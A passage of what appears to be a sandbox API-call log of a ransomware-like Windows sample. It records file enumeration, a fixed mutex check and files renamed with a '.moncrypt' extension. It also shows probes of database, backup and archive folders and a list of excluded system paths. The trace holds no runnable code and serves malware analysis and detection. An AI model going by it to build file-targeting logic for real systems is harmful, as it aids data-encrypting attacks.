lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.820] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.820] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.820] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.820] GlobalUnlock (hMem=0x44000c) returned 0 [0049.820] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.820] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.820] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.820] GlobalUnlock (hMem=0x44000c) returned 0 [0049.820] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.820] GlobalUnlock (hMem=0x440004) returned 0 [0049.820] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.820] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x483b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX.moncrypt", cAlternateFileName="MSWDS_~3.MON")) returned 1 [0049.820] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.820] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.820] GlobalLock (hMem=0x440004) returned 0x550170 [0049.820] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.820] GlobalUnlock (hMem=0x440004) returned 0 [0049.820] GlobalLock (hMem=0x440004) returned 0x550170 [0049.820] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.820] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.820] GlobalUnlock (hMem=0x440004) returned 0 [0049.821] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.821] GlobalUnlock (hMem=0x44000c) returned 0 [0049.821] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.821] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x483b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX.moncrypt", cAlternateFileName="MSWDS_~3.MON")) returned 0 [0049.821] GetLastError () returned 0x12 [0049.821] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.821] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0049.821] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0049.821] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0049.821] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.821] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.821] GlobalUnlock (hMem=0x44000c) returned 0 [0049.821] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.821] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.821] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.821] GlobalUnlock (hMem=0x44000c) returned 0 [0049.821] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.821] GlobalUnlock (hMem=0x440004) returned 0 [0049.821] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.822] GlobalLock (hMem=0x440004) returned 0x550170 [0049.822] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.822] GlobalUnlock (hMem=0x440004) returned 0 [0049.822] GlobalLock (hMem=0x440004) returned 0x550170 [0049.822] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.822] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.822] GlobalUnlock (hMem=0x440004) returned 0 [0049.822] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.822] GlobalUnlock (hMem=0x44000c) returned 0 [0049.822] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.822] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag", len=0x38 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag") returned 1 [0049.822] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.822] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.822] GlobalUnlock (hMem=0x44000c) returned 0 [0049.822] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.822] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.822] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.822] GlobalUnlock (hMem=0x44000c) returned 0 [0049.822] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.822] GlobalUnlock (hMem=0x440004) returned 0 [0049.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冲R円R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.832] GetLastError () returned 0x3 [0049.832] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0049.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0049.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@儔R企@\x18권Q\x181")) returned 0xffffffff [0049.834] GetLastError () returned 0x2 [0049.834] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0049.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0049.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18;")) returned 0xffffffff [0049.836] GetLastError () returned 0x2 [0049.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0049.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0049.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0049.838] GetLastError () returned 0x2 [0049.838] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0049.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0049.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@儔R企@\x18℔R\x18j")) returned 0xffffffff [0049.839] GetLastError () returned 0x2 [0049.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0049.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0049.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18?T\x18q")) returned 0xffffffff [0049.841] GetLastError () returned 0x2 [0049.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ℐRP") returned 6 [0049.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0049.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18y")) returned 0xffffffff [0049.843] GetLastError () returned 0x2 [0049.843] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0049.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0049.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0049.845] GetLastError () returned 0x2 [0049.845] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0049.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0049.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0049.846] GetLastError () returned 0x2 [0049.846] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0049.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0049.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18\x8f")) returned 0xffffffff [0049.848] GetLastError () returned 0x2 [0049.848] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.848] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0049.848] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0049.848] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69d48, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0049.850] GetLastError () returned 0x2 [0049.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0049.850] GlobalLock (hMem=0x440004) returned 0x550170 [0049.850] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.850] GlobalUnlock (hMem=0x440004) returned 0 [0049.850] GlobalLock (hMem=0x440004) returned 0x550170 [0049.850] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.850] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.850] GlobalUnlock (hMem=0x440004) returned 0 [0049.850] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.850] GlobalUnlock (hMem=0x44000c) returned 0 [0049.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.850] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.850] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.850] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.851] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.851] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.851] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.851] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.851] GlobalUnlock (hMem=0x44000c) returned 0 [0049.851] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.851] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.851] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.851] GlobalUnlock (hMem=0x44000c) returned 0 [0049.851] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.851] GlobalUnlock (hMem=0x440004) returned 0 [0049.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.851] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.851] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d08, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0049.852] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\") returned 0x39 [0049.852] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume 